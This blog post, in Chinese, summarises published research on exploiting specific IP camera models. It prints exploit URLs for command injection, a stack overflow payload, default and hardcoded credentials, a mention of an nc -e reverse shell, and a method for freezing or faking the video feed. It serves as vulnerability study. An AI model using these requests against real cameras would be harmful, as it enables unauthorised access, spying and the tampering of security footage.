Fight For Freedom

09月 08

Exploit Cameras

       最近国内对智能设备的安全研究越来越火,各种问题层出不穷。下面这篇文章是国外学者对智能摄像头漏洞的研究总结。我对其进行了简化和归纳。原文请见参考文献。

0x01. 前言

       这篇文献主要讲在摄像头中代码自身的潜在问题,目的是拿到目标网络的权限,以至于可以查看和更改视频流。

       提取和分析固件工具:binwalk、Firmware-Mod-Kit、IDA Pro、Qemu等

0x02. 实例

    1. D-Link DCS-7410

        整体概览: 在开机时,它将启动在lighttped服务器上的脚本规则去保护web目录视频流和管理接口。但是此规则并没有涵盖到cgi-bin目录,在这个目录下面只有一个脚本rtpd.cgi,是一个用于启动和停止摄像头RTP守护进程的bash脚本。

        其中rtpd.cgi严重漏洞:

  eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

    (注:$QUERY_STRING在php中表示url中?以后的值)。

       意思是:解析传进来的参数通过替换"&"为空格,再执行。它的本身用意是 http://192.168.1.101/cgi-bin/rtpd.cgi?reboot。但我们可以利用如下命令读取帐号密码

  wget http://192.168.1.101/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

    2. Linksys WVC80N 

        (1)、找到只有snapshot.cgi可以访问,是软链接到/adm/ez.cgi

        (2)、找到了snapshot.cgi symlink被一个函数(sub_AE64)所控制;

            

        (3)、这函数将可控参数($QUERY_STRING)strcpy到栈中

             

        (4)、目标栈(dest stack)变量离保存的返回地址只有152字节

                              

 

  wget http://192.168.1.101/img/snapshot.cgi?$(perl -e ‘print “A”x152’)

                由此我们就可以覆盖掉返回地址了

        (5)、由于ez.cgi 也handle了严格的软链接,我们就可以强制返回到严格的地址(admcfg.cfg  symlink (sub_9B88) )以至于获取admin权限,比如拿到配置文件 

  wget http://192.168.1.101/img/snapshot.cgi?$(perl -e ‘print “A”x148; print “\x88\x9B”’)

        (6)、拿到配置文件后,根据他本身的解密方式进行解密

    3. Cisco PVC-2300

        第一个漏洞

        整体概览:.htpasswd文件保护web根目录,但有一个子目录没有被保护/usr/local/www/oamp。

       (1). 在该目录中找到了两个可执行文件,oamp.cgi 和oamp_loadFirmware ,以及余下的xml symlinks到oamp.cgi。

        通过检查oamp.cgi找到一个可控参数; 

          


       (2). 这个参数的用处,是可以用来下载上传配置(action)等的,但前提是要验证session ID; 

          
          

            如果验证不成功,它将action到login。

            下面的函数通过get参数得到用户名密码来验证:

           

       (3). 继续观察怎么验证。它居然是从配置文件取出的帐号和密码与输入进行比较,若成功 ,则生成session ID;  

             

      (4). 问题的关键是由于oamp接口是不公开的,对所有的摄像头都有默认的值,不容易被改变。所以我们用默认帐号密码就可以xxoo了。


                  

      (5). 利用方式:

  wget http://192.168.1.101/oamp/System.xml?action=login&user=L1_admin&password=L1_51

           从返回头得到session ID。由于这些xml文件are symlinks to the  oamp.cgi executable

           所以我们用如下命令返回得到配置文件信息:

 

  wget --header=”sessionID: 57592414”http://192.168.1.101/oamp/System.xml?action=downloadConfigurationFile

           但得到的并不是标准的base64,而是它本身定义的base64。

           通过分析encode64和decode64函数。

              

 

           替换在python中base64模块的标准base64 key,然后我们就可以解码得到整个配置文件了

        第二个漏洞:

        尽管上述操作使得攻击者可以获得视频流和管理接口,但是loadFirmware action可以被利用直接将攻击者权限提升为root。

        (1). loadFirmware参数允许get参数

           

        (2). 参数值随着一个格式化字符串传到system2函数中

           

        (3). The  system2  function simply generates a command from the format string and url before calling libc's system function。由此攻击者可以通过url参数执行任意命令。

  wget --header=”sessionID: 57592414”http://192.168.1.101/oamp/System.xml?action=loadFirmware&url=https://127.0.0.1:65534/;reboot;

 

    4. IQInvision IQ832N

           (1). oidtable.cgi可以被未授权的用户访问。

             

                 它只接受一个参数grep。

           (2). 当验证完grep值小于32个字符时,oidtable.cgi将grep sprintf成字符串随即传进了popen

                

           (3). 这就使攻击者很容易地任意执行命令,并且命令的回显都将返回到攻击者的浏览器上

利用方式:

  wget http://192.168.101/oidtable.cgi?grep=’$IFS/tmp/a;ps;’ ($IFS表示空格)

尽管有限制,但我们可以将长命令echo到一个文件去然后执行文件(经典方式)。另外,摄像头上装有nc,用-e选项可以反弹shell过来。还有,这个漏洞可以得到或替换DES加密的管理员密码(存在/etc/privpasswd),可用john the ripper去破解。

              
                  

    5. 3SVision N5071

        第一个漏洞:

            问题的根源:将帐号密码直接硬编码到二进制中。

                  
            致使攻击者使用这些认证去得到摄像头的控制权以及视频流(vedio feed)

        第二个漏洞:

       里面代码都充满了不安全函数的调用,比如system、sprintf和strcpy。

            1. 在其它一些受影响的3SVision支持本地存储功能,record.cgi控制(handle)了一些高权限的对本地存储的操作,会进入到do_records函数中

               

            2. 其中这个函数的操作(action)有remove,如果remove被指定,do_records会检查文件名是否被指定

               

            3. 如果有文件名,此文件名将会没有过滤地进入sprintf,被format一个rm命令通过系统函数去执行

               

            4. exp:  

 wget --user=3sadmin --password=27988303‘http://192.168.1.101/records.cgi?action=remove&storage=sd&filename=foobar`reboot`’

                    

0x03. modifying vedio feeds(改变视频流)

       尽管拿到了未授权的访问是很好的,但离恶意更改视频流还有些距离,就像好莱坞电影流行的技术一样。但这种效果已经在中间人攻击中实现(局域网),对于在远程的攻击者来说就难办了。

有了上述漏洞,一个远程攻击者可以知道决定哪一个进程是视频流的,以便后续操作:

                       

       如果攻击者kill掉了mjpg.cgi进程(负责视频流到管理员浏览器),视频流就会停掉,管理员浏览器显示的将会是mjpg.cgi的最后一张。那么就给了攻击者充足的时间去偷(实际的)。这很简单,但此技术最大的问题是如果管理员刷新了他的浏览器,他将会重新看到,甚至发现异常(实际的)。

       一更加成熟的攻击是攻击者替代原始的mjpg.cgi用如下的bash脚本,那么管理员通过web接口看到的始终是攻击者给的静态图片。

                       

        并且,攻击者可以备份原始的mjpg.cgi文件在web根目录的别处,那么攻击者依旧可以接触到live vedio feed。

        这些hack方法简单高效。尽管这类攻击的复杂性取决于负责视频流的服务或协议,但最基础的是一样的:一旦攻击者拿到root,他就可以控制摄像头和它所有的功能

 

0x04. 总结

       鄙人之前没有接触过逆向,可能有些不妥之处,但整体的思路都差不多。作者经验丰富,不管是从漏洞挖掘以及漏洞利用的方式来看。我们可以从中提取出挖掘相关漏洞的通用方法,其它智能设备也是如此。作者最后还提到,这种类似的漏洞在今后很长的时间都不会消失,只要开发者和厂商没有引起足够的重视。

 

参考资料:

https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-WP.pdf

标签:none

还不快抢沙发

添加新评论

captcha
请输入验证码

最新文章

最近回复

  • lynahex:...Orz
  • chybeta:师傅好!
  • lynahex:拜大佬
  • cdxy:师傅好
  • lynahex:十分感谢解惑,特别是解决问题的方法。
  • ld:1. 搜索CVE-2016-0701 进入 https://cv...
  • lynahex:好的。
  • xdxd:友链已加~~~希望有机会多多交流~~
  • lynahex:恩,重测了下是可以的。可能当时一些危险函数被我禁掉了。 thx
  • 过客:虽然博主文章过了好久了,本地system测试还是可以执行的
  • 友情链接

    分类

    其它